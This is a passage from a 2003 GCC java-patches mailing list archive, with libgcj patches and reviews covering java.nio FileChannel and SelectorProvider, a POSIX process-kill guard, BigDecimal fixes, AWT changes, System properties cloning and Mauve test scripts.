java/io/natFileDescriptor.lo \ java/io/natObjectInputStream.lo \ java/io/natObjectOutputStream.lo java/io/natVMObjectStreamClass.lo \ @@ -2861,10 +2875,16 @@ .deps/gnu/java/locale/LocaleInformation_zh_TW.P \ .deps/gnu/java/math/MPN.P .deps/gnu/java/nio/ByteBufferImpl.P \ .deps/gnu/java/nio/CharBufferImpl.P \ +.deps/gnu/java/nio/DatagramChannelImpl.P \ .deps/gnu/java/nio/DoubleBufferImpl.P \ +.deps/gnu/java/nio/FileChannelImpl.P \ .deps/gnu/java/nio/FloatBufferImpl.P .deps/gnu/java/nio/IntBufferImpl.P \ -.deps/gnu/java/nio/LongBufferImpl.P \ +.deps/gnu/java/nio/LongBufferImpl.P .deps/gnu/java/nio/PipeImpl.P \ +.deps/gnu/java/nio/SelectionKeyImpl.P .deps/gnu/java/nio/SelectorImpl.P \ +.deps/gnu/java/nio/SelectorProviderImpl.P \ +.deps/gnu/java/nio/ServerSocketChannelImpl.P \ .deps/gnu/java/nio/ShortBufferImpl.P \ +.deps/gnu/java/nio/SocketChannelImpl.P \ .deps/gnu/java/nio/charset/ISO_8859_1.P \ .deps/gnu/java/nio/charset/Provider.P \ .deps/gnu/java/nio/charset/US_ASCII.P \ @@ -2877,10 +2897,13 @@ .deps/gnu/java/nio/natByteBufferImpl.P \ .deps/gnu/java/nio/natCharBufferImpl.P \ .deps/gnu/java/nio/natDoubleBufferImpl.P \ +.deps/gnu/java/nio/natFileChannelImpl.P \ .deps/gnu/java/nio/natFloatBufferImpl.P \ .deps/gnu/java/nio/natIntBufferImpl.P \ .deps/gnu/java/nio/natLongBufferImpl.P \ +.deps/gnu/java/nio/natSelectorImpl.P \ .deps/gnu/java/nio/natShortBufferImpl.P \ +.deps/gnu/java/nio/natSocketChannelImpl.P \ .deps/gnu/java/rmi/RMIMarshalledObjectInputStream.P \ .deps/gnu/java/rmi/RMIMarshalledObjectOutputStream.P \ .deps/gnu/java/rmi/dgc/DGCImpl.P .deps/gnu/java/rmi/dgc/DGCImpl_Skel.P \ @@ -3370,6 +3393,7 @@ .deps/java/nio/channels/ConnectionPendingException.P \ .deps/java/nio/channels/DatagramChannel.P \ .deps/java/nio/channels/FileChannel.P \ +.deps/java/nio/channels/FileLock.P \ .deps/java/nio/channels/FileLockInterruptionException.P \ .deps/java/nio/channels/GatheringByteChannel.P \ .deps/java/nio/channels/IllegalBlockingModeException.P \ Index: java/nio/channels/FileChannel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/FileChannel.java,v retrieving revision 1.1 diff -u -r1.1 FileChannel.java --- java/nio/channels/FileChannel.java 18 Nov 2002 13:56:59 -0000 1.1 +++ java/nio/channels/FileChannel.java 14 Feb 2003 12:39:24 -0000 @@ -65,9 +65,17 @@ m = a; } + /** + * Returns a string representation of the MapMode object. + */ public String toString() { - return "" + m; + if (this == READ_ONLY) + return "READ_ONLY"; + else if (this == READ_WRITE) + return "READ_WRITE"; + + return "PRIVATE"; } } @@ -81,20 +89,28 @@ /** * Maps the file into the memory. * - * @exception IOException If an error occurs. + * @exception IllegalArgumentException If the preconditions on the parameters + * do not hold. + * @exception IOException If an I/O error occurs. + * @exception NonReadableChannelException If mode is READ_ONLY but this channel was + * not opened for reading. + * @exception NonWritableChannelException If mode is READ_WRITE or PRIVATE but this + * channel was not opened for writing. */ public abstract MappedByteBuffer map(MapMode mode, long position, long size) throws IOException; /** * Return the size of the file thus far + * + * @exception ClosedChannelException If this channel is closed. */ public abstract long size() throws IOException; /** * Writes data to the channel. * - * @exception IOException If an error occurs. + * @exception IOException If an I/O error occurs. */ public long write (ByteBuffer[] srcs) throws IOException { @@ -110,26 +126,243 @@ /** * Writes data to the channel. + * + * @exception IOException If an I/O error occurs. + */ + public abstract int write (ByteBuffer src) throws IOException; + + /** + * Writes data to the channel. + * + * @exception AsynchronousCloseException If another thread closes this channel + * while the transfer is in progress. + * @exception ClosedByInterruptException If another thread interrupts the + * current thread while the transfer is in progress, thereby closing both + * channels and setting the current thread's interrupt status. + * @exception ClosedChannelException If this channel is closed. + * @exception IllegalArgumentException If position is negative. + * @exception IOException If an I/O error occurs. + * @exception NonWritableChannelException If this channel was not opened for + * writing. + */ + public abstract int write (ByteBuffer srcs, long position) throws IOException; + + /** + * Writes data to the channel. + * + * @exception IOException If an I/O error occurs. */ public abstract long write(ByteBuffer[] srcs, int offset, int length) throws IOException; /** * Reads data from the channel. + * + * @exception IOException If an I/O error occurs. + */ + public abstract long read (ByteBuffer[] dsts, int offset, int length) + throws IOException; + + /** + * Reads data from the channel. + * + * @exception IOException If an I/O error occurs. + */ + public final long read (ByteBuffer[] dsts) throws IOException + { + long result = 0; + + for (int i = 0; i < dsts.length; i++) + { + read (dsts [i]); + } + + return result; + } + + /** + * Reads data from the channel. + * + * @exception IOException If an I/O error occurs. */ public abstract int read(ByteBuffer dst) throws IOException; /** + * Reads data from the channel. + * + * @exception AsynchronousCloseException If another thread closes this channel + * while the transfer is in progress. + * @exception ClosedByInterruptException If another thread interrupts the + * current thread while the transfer is in progress, thereby closing both + * channels and setting the current thread's interrupt status. + * @exception ClosedChannelException If this channel is closed. + * @exception IllegalArgumentException If position is negative. + * @exception IOException If an I/O error occurs. + * @exception NonReadableChannelException If this channel was not opened for + * reading. + */ + public abstract int read(ByteBuffer dst, long position) throws IOException; + + /** * Closes the channel. * * This is called from @see close. * - * @exception IOException If an error occurs. + * @exception IOException If an I/O error occurs. */ protected abstract void implCloseChannel() throws IOException; /** * msync with the disk + * + * @exception ClosedChannelException If this channel is closed. + * @exception IOException If an I/O error occurs. + */ + public abstract void force(boolean metaData) throws IOException; + + /** + * Creates a file lock for the whole assoziated file. + * + * @exception AsynchronousCloseException If another thread closes this channel + * while the transfer is in progress. + * @exception ClosedChannelException If this channel is closed. + * @exception FileLockInterruptionException If the invoking thread is + * interrupted while blocked in this method. + * @exception IOException If an I/O error occurs. + * @exception NonReadableChannelException If shared is true and this channel + * was not opened for reading. + * @exception NonWritableChannelException If shared is false and this channel + * was not opened for writing. + * @exception OverlappingFileLockException If a lock that overlaps the + * requested region is already held by this Java virtual machine, or if + * another thread is already blocked in this method and is attempting to lock + * an overlapping region. + */ + public final FileLock lock () throws IOException + { + return lock (0, Long.MAX_VALUE, false); + } + + /** + * Creates a file lock for a region of the assoziated file. + * + * @exception AsynchronousCloseException If another thread closes this channel + * while the transfer is in progress. + * @exception ClosedChannelException If this channel is closed. + * @exception FileLockInterruptionException If the invoking thread is + * interrupted while blocked in this method. + * @exception IllegalArgumentException If the preconditions on the parameters + * do not hold. + * @exception IOException If an I/O error occurs. + * @exception OverlappingFileLockException If a lock that overlaps the + * requested region is already held by this Java virtual machine, or if + * another thread is already blocked in this method and is attempting to lock + * an overlapping region. + * @exception NonReadableChannelException If shared is true and this channel + * was not opened for reading. + * @exception NonWritableChannelException If shared is false and this channel + * was not opened for writing. + */ + public abstract FileLock lock (long position, long size, boolean shared) + throws IOException; + + /** + * Tries to aqquire alock on the whole assoziated file. + * + * @exception ClosedChannelException If this channel is closed. + * @exception IOException If an I/O error occurs. + * @exception OverlappingFileLockException If a lock that overlaps the + * requested region is already held by this Java virtual machine, or if + * another thread is already blocked in this method and is attempting to lock + * an overlapping region. + */ + public final FileLock tryLock () throws IOException + { + return tryLock (0, Long.MAX_VALUE, false); + } + + /** + * Tries to aqquire a lock on a region of the assoziated file. + * + * @exception ClosedChannelException If this channel is closed. + * @exception IllegalArgumentException If the preconditions on the parameters + * do not hold. + * @exception IOException If an I/O error occurs. + * @exception OverlappingFileLockException If a lock that overlaps the + * requested region is already held by this Java virtual machine, or if + * another thread is already blocked in this method and is attempting to lock + * an overlapping region. + */ + public abstract FileLock tryLock (long position, long size, boolean shared) + throws IOException; + + /** + * Returns the current position on the file. + * + * @exception ClosedChannelException If this channel is closed. + * @exception IOException If an I/O error occurs. + */ + public abstract long position () throws IOException; + + /** + * Sets the position of the channel on the assoziated file. + * + * @exception ClosedChannelException If this channel is closed. + * @exception IllegalArgumentException If newPosition is negative. + * @exception IOException If an I/O error occurs. + */ + public abstract FileChannel position (long newPosition) throws IOException; + + /** + * Transfers bytes from this channel's file to the given writable byte + * channel. + * + * @exception AsynchronousCloseException If another thread closes this channel + * while the transfer is in progress. + * @exception ClosedByInterruptException If another thread interrupts the + * current thread while the transfer is in progress, thereby closing both + * channels and setting the current thread's interrupt status. + * @exception ClosedChannelException If this channel is closed. + * @exception IllegalArgumentException If the preconditions on the parameters + * do not hold. + * @exception IOException If an I/O error occurs. + * @exception NonReadableChannelException If this channel was not opened for + * reading. + * @exception NonWritableChannelException If the target channel was not + * opened for writing. + */ + public abstract long transferTo (long position, long count, + WritableByteChannel target) + throws IOException; + + /** + * Transfers bytes from the given readable channel into this channel. + * + * @exception AsynchronousCloseException If another thread closes this channel + * while the transfer is in progress. + * @exception ClosedByInterruptException If another thread interrupts the + * current thread while the transfer is in progress, thereby closing both + * channels and setting the current thread's interrupt status. + * @exception ClosedChannelException If this channel is closed. + * @exception IllegalArgumentException If the preconditions on the parameters + * do not hold. + * @exception IOException If an I/O error occurs. + * @exception NonReadableChannelException If the source channel was not + * opened for reading. + * @exception NonWritableChannelException If this channel was not opened for + * writing. + */ + public abstract long transferFrom (ReadableByteChannel src, long position, + long count) throws IOException; + + /** + * Truncates the channel's file at size. + * + * @exception ClosedChannelException If this channel is closed. + * @exception IllegalArgumentException If size is negative. + * @exception IOException If an I/O error occurs. + * @exception NonWritableChannelException If this channel was not opened for + * writing. */ - public abstract void force(boolean metaData); + public abstract FileChannel truncate (long size) throws IOException; } Index: java/nio/channels/spi/SelectorProvider.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/spi/SelectorProvider.java,v retrieving revision 1.3 diff -u -r1.3 SelectorProvider.java --- java/nio/channels/spi/SelectorProvider.java 11 Feb 2003 06:48:53 -0000 1.3 +++ java/nio/channels/spi/SelectorProvider.java 14 Feb 2003 12:39:24 -0000 @@ -37,7 +37,7 @@ package java.nio.channels.spi; -/* import gnu.java.nio.channels.SelectorProviderImpl; */ +import gnu.java.nio.SelectorProviderImpl; import java.io.IOException; import java.nio.channels.DatagramChannel; import java.nio.channels.Pipe; @@ -97,8 +97,10 @@ */ public static SelectorProvider provider () { -/* if (pr == null) */ -/* pr = new SelectorProviderImpl (); */ + if (pr == null) + { + pr = new SelectorProviderImpl (); + } return pr; } --Boundary-00=_OTOT+du3FVN+bUs-- From java-patches-return-6133-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 13:46:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17245 invoked by alias); 14 Feb 2003 13:46:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17223 invoked from network); 14 Feb 2003 13:46:10 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 14 Feb 2003 13:46:10 -0000 Received: from 192.168.1.3 (dynadsl-080-228-73-144.ewetel.net [80.228.73.144]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h1EDk3bq014962; Fri, 14 Feb 2003 14:46:08 +0100 (MET) From: Michael Koch To: tromey@redhat.com Subject: Re: [PATCH] java.util.prefs Date: Fri, 14 Feb 2003 14:46:01 +0100 User-Agent: KMail/1.5 Cc: java-patches@gcc.gnu.org References: <200302121147.38814.konqueror@gmx.de> <87y94kxixt.fsf@fleche.redhat.com> In-Reply-To: <87y94kxixt.fsf@fleche.redhat.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200302141446.01484.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Donnerstag, 13. Februar 2003 17:07 schrieb Tom Tromey: > >>>>> "Michael" =3D=3D Michael Koch writes: > > Michael> This patch merged java.util.prefs with classpath. Please > Michael> review and comment. > > I noticed there are now a few differences here between classpath > and libgcj. They all look like small fixes in the libgcj version.=20 > Could you merge these back? Commited to classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+TPMZWSOgCCdjSDsRAhcaAJsHj/zyMGpVLoXOo77aJFvU+TSdKACdFTAs ujkcyd9PTIzH8II8OCk5dMY=3D =3DeLh5 =2D----END PGP SIGNATURE----- From java-patches-return-6134-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 14:36:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27174 invoked by alias); 14 Feb 2003 14:36:54 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27038 invoked from network); 14 Feb 2003 14:36:53 -0000 Received: from unknown (HELO localhost.localdomain) (217.112.227.117) by 172.16.49.205 with SMTP; 14 Feb 2003 14:36:53 -0000 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by localhost.localdomain (8.12.5/8.12.5) with ESMTP id h1EEjtsE010951; Fri, 14 Feb 2003 15:45:55 +0100 Received: from localhost (ronald@localhost) by localhost.localdomain (8.12.5/8.12.5/Submit) with ESMTP id h1EEjsZ2010947; Fri, 14 Feb 2003 15:45:54 +0100 X-Authentication-Warning: localhost.localdomain: ronald owned process doing -bs Date: Fri, 14 Feb 2003 15:45:53 +0100 (CET) From: Ronald Landheer-Cieslak X-X-Sender: ronald@localhost.localdomain To: gcc-patches@gcc.gnu.org cc: java-patches@gcc.gnu.org Subject: [PATCH] to java::lang::ConcreteProcess::destroy Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="8323328-1430505999-1045233953=:17397" This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --8323328-1430505999-1045233953=:17397 Content-Type: TEXT/PLAIN; charset=US-ASCII I have attached a (very, very) small patch to libjava/java/lang/natPosixProcess.cc which fixes a bug - kill() is called from java::lang::ConcreteProcess::destroy even when no signals are available. This will make the compilation fail if there are no signals. I presume you won't need a copyright assignment for something as small as this :) Good luck! rlc --8323328-1430505999-1045233953=:17397 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=patch-gcc-libjava Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: patch to libjava/java/lang/natPosixProcess.cc Content-Disposition: attachment; filename=patch-gcc-libjava MjAwMy0wMi0xNCAgICAgIFJvbmFsZCBMYW5kaGVlci1DaWVzbGFrIDxyb25h bGRAbGFuZGhlZXIuY29tPg0KICAgICAgICAqIGxpYmphdmEvamF2YS9sYW5n L25hdFBvc2l4UHJvY2Vzcy5jYyAoamF2YTo6bGFuZzo6Q29uY3JldGVQcm9j ZXNzOjpkZXN0cm95KSBkb24ndCB0cnkgdG8ga2lsbCBpZiB3ZSBkb24ndCBo YXZlIHNpZ25hbHMNCg0KZGlmZiAtYiAtdSAtcCAtcjEuMTQgbmF0UG9zaXhQ cm9jZXNzLmNjDQotLS0gbGliamF2YS9qYXZhL2xhbmcvbmF0UG9zaXhQcm9j ZXNzLmNjICAgICAgICAxNCBBdWcgMjAwMiAxOTo1Mzo1NCAtMDAwMCAgICAg IDEuMTQNCisrKyBsaWJqYXZhL2phdmEvbGFuZy9uYXRQb3NpeFByb2Nlc3Mu Y2MgICAgICAgIDE0IEZlYiAyMDAzIDE0OjI3OjAxIC0wMDAwDQpAQCAtNDUs NyArNDUsOSBAQCBqYXZhOjpsYW5nOjpDb25jcmV0ZVByb2Nlc3M6OmRlc3Ry b3kgKHZvDQogICBpZiAoISBoYXNFeGl0ZWQpDQogICAgIHsNCiAgICAgICAv LyBSZWFsbHkga2lsbCBpdC4NCisjaWYgISBOT19TSUdOQUxTDQogICAgICAg a2lsbCAoKHBpZF90KSBwaWQsIFNJR0tJTEwpOw0KKyNlbmRpZiAvLyAhIE5P X1NJR05BTFMNCiAgICAgfQ0KIH0NCg0K --8323328-1430505999-1045233953=:17397-- From java-patches-return-6135-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 16:40:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24559 invoked by alias); 14 Feb 2003 16:40:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24530 invoked from network); 14 Feb 2003 16:40:42 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 16:40:42 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA18127; Fri, 14 Feb 2003 09:40:41 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 1E0964F8072; Fri, 14 Feb 2003 09:30:58 -0700 (MST) To: Ronald Landheer-Cieslak Cc: gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Look!! Karl Malden! Date: 14 Feb 2003 09:30:57 -0700 In-Reply-To: Message-ID: <87n0kyrfi6.fsf@fleche.redhat.com> Lines: 11 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ronald" == Ronald Landheer-Cieslak writes: Ronald> I have attached a (very, very) small patch to Ronald> libjava/java/lang/natPosixProcess.cc which fixes a bug - Ronald> kill() is called from java::lang::ConcreteProcess::destroy Ronald> even when no signals are available. This will make the Ronald> compilation fail if there are no signals. What defines NO_SIGNALS? And when? Tom From java-patches-return-6136-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 17:13:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15024 invoked by alias); 14 Feb 2003 17:13:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14987 invoked from network); 14 Feb 2003 17:13:29 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 14 Feb 2003 17:13:29 -0000 Received: from masala.cambridge.redhat.com (masala.cambridge.redhat.com [172.16.18.66]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 865AFABB05; Fri, 14 Feb 2003 17:13:27 +0000 (GMT) Received: from masala.cambridge.redhat.com (localhost.localdomain [127.0.0.1]) by masala.cambridge.redhat.com (8.12.5/8.11.0) with ESMTP id h1EHDRXx014554; Fri, 14 Feb 2003 17:13:27 GMT Received: (from aph@localhost) by masala.cambridge.redhat.com (8.12.5/8.12.5/Submit) id h1EHDQeV014550; Fri, 14 Feb 2003 17:13:26 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15949.9142.459079.963325@masala.cambridge.redhat.com> Date: Fri, 14 Feb 2003 17:13:26 +0000 (GMT) To: tromey@redhat.com Cc: Ronald Landheer-Cieslak , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy In-Reply-To: <87n0kyrfi6.fsf@fleche.redhat.com> References: <87n0kyrfi6.fsf@fleche.redhat.com> Tom Tromey writes: > >>>>> "Ronald" == Ronald Landheer-Cieslak writes: > > Ronald> I have attached a (very, very) small patch to > Ronald> libjava/java/lang/natPosixProcess.cc which fixes a bug - > Ronald> kill() is called from java::lang::ConcreteProcess::destroy > Ronald> even when no signals are available. This will make the > Ronald> compilation fail if there are no signals. > > What defines NO_SIGNALS? And when? natPosixProcess is for POSIX, right? Without signals? Andrew. From java-patches-return-6137-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 17:19:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19979 invoked by alias); 14 Feb 2003 17:19:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19972 invoked from network); 14 Feb 2003 17:19:35 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 17:19:35 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA28567; Fri, 14 Feb 2003 10:19:34 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 758A04F8072; Fri, 14 Feb 2003 10:09:51 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: BigDecimal fixlets References: <1045216645.30211.294.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Everything will be ALL RIGHT if we can just remember things about ALGEBRA.. or SOCCER.. or SOCIALISM.. Date: 14 Feb 2003 10:09:51 -0700 In-Reply-To: <1045216645.30211.294.camel@elsschot> Message-ID: <871y2ardpc.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> 2003-02-14 Mark Wielaard Mark> * java/math/BigDecimal.java (BigDecimal(String)): Always set scale to Mark> zero when there is an exponent and the significant is zero. Mark> (divide): Always set scale to newScale even in special ZERO case. Mark> OK for mainline and branch? Yes, thanks. BTW your BufferedOutputStream patch from yesterday has to go in Classpath as well. Tom From java-patches-return-6138-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 17:37:41 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27024 invoked by alias); 14 Feb 2003 17:37:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27017 invoked from network); 14 Feb 2003 17:37:41 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 17:37:41 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA31913; Fri, 14 Feb 2003 10:32:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 8A3BB4F8072; Fri, 14 Feb 2003 10:22:46 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] java.awt References: <200302141155.26238.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Remember, if you try to ESCAPE, many APARTMENT HOPPING ALCOHOLICS will SIMONIZE your HALLWAYS!! This is your LAST WARNING!! Date: 14 Feb 2003 10:22:46 -0700 In-Reply-To: <200302141155.26238.konqueror@gmx.de> Message-ID: <87wuk2pyjd.fsf@fleche.redhat.com> Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I have written another java.awt patch. This mostly implements some Michael> missing methods (getListeners and friends) and removes some unneeded Michael> "implements Serializable". Please review and comment. Looks great, though I have one question (see below). Michael> Of course this should go into classpath too. Yes, thanks. BTW if you ever feel like reindenting some of the old-style AWT code, feel free. Just do it as a separate reformatting patch; simple formatting changes don't require approval. Michael> + return Class.forName ("java.nio.ByteBuffer") Michael> + .isAssignableFrom (representationClass); I'm curious about this code. Why not use instanceof? java.nio.ByteBuffer is in both code bases, and is compiled. I'd prefer this, unless there's a reason against it. Tom From java-patches-return-6139-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 17:42:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27710 invoked by alias); 14 Feb 2003 17:42:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27703 invoked from network); 14 Feb 2003 17:42:47 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 14 Feb 2003 17:42:47 -0000 Received: from fleche.redhat.com (tf0027.peakpeak.com [204.144.239.27]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA02322; Fri, 14 Feb 2003 10:42:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 410A84F8072; Fri, 14 Feb 2003 10:33:03 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: clone System properties From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: YOW!! What should the entire human race DO?? Consume a fifth of CHIVAS REGAL, ski NUDE down MT. EVEREST, and have a wild SEX WEEKEND! Date: 14 Feb 2003 10:33:03 -0700 Message-ID: <87of5epy28.fsf@fleche.redhat.com> Lines: 56 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to 3.3, 3.4, and Classpath. Some programs (e.g., ant) expect the system properties not to have a parent. While this is a bug in those programs, I've seen 3 reports of this problem this week alone. It seems convenient for us to be compatible here, and it is easy. Tested on x86 RHL 7.3. Tom Index: ChangeLog from Tom Tromey * java/lang/System.java (properties): Use Properties.clone. (setProperties): Likewise. Index: java/lang/System.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/System.java,v retrieving revision 1.10.20.1 diff -u -r1.10.20.1 System.java --- java/lang/System.java 31 Dec 2002 22:49:36 -0000 1.10.20.1 +++ java/lang/System.java 14 Feb 2003 17:40:38 -0000 @@ -1,5 +1,5 @@ /* System.java -- useful methods to interface with the system - Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -104,8 +104,10 @@ * {@link #setProperties(Properties)}, but will never be null, because * setProperties(null) sucks in the default properties. */ + // Note that we use clone here and not new. Some programs assume + // that the system properties do not have a parent. private static Properties properties - = new Properties(Runtime.defaultProperties); + = (Properties) Runtime.defaultProperties.clone(); /** * The standard InputStream. This is assigned at startup and starts its @@ -369,7 +371,11 @@ if (sm != null) sm.checkPropertiesAccess(); if (properties == null) - properties = new Properties(Runtime.defaultProperties); + { + // Note that we use clone here and not new. Some programs + // assume that the system properties do not have a parent. + properties = (Properties) Runtime.defaultProperties.clone(); + } System.properties = properties; } From java-patches-return-6140-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 14 19:38:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2730 invoked by alias); 14 Feb 2003 19:38:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2714 invoked from network); 14 Feb 2003 19:38:41 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 14 Feb 2003 19:38:40 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18jlfA-0006kW-00; Fri, 14 Feb 2003 20:38:20 +0100 Subject: Re: Mauve, inner classes and dejagnu magic From: Mark Wielaard To: java@gcc.gnu.org Cc: java-patches@gcc.gnu.org In-Reply-To: <8765rmrdxc.fsf@fleche.redhat.com> References: <1045241845.30214.365.camel@elsschot> <8765rmrdxc.fsf@fleche.redhat.com> Content-Type: multipart/mixed; boundary="=-XfdVRAnEwZGOtzVmeEbt" Organization: Message-Id: <1045251518.30214.406.camel@elsschot> Mime-Version: 1.0 Date: 14 Feb 2003 20:38:38 +0100 --=-XfdVRAnEwZGOtzVmeEbt Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, Finally found a way to get it working. Basic idea is to never produce .o files containing a $ character and to quote class file names that might contain $ with "'". Something similar should be possible for the PR1343 case. I will see if I can come up with a patch. 2003-02-14 Mark Wielaard * libjava.mauve/mauve.exp (mauve_compute_uses): Add inner class object files by changing all occurances of $ to ^. (test_mauve): Replace ^ with $ for class file names and quote them with "'"s. OK for mainline and branch? It makes ClassTest compile/link again and with this I can enable the ObjectInputOutput tests later. Cheers, Mark --=-XfdVRAnEwZGOtzVmeEbt Content-Disposition: inline; filename=mauve-exp.diff Content-Type: text/x-patch; 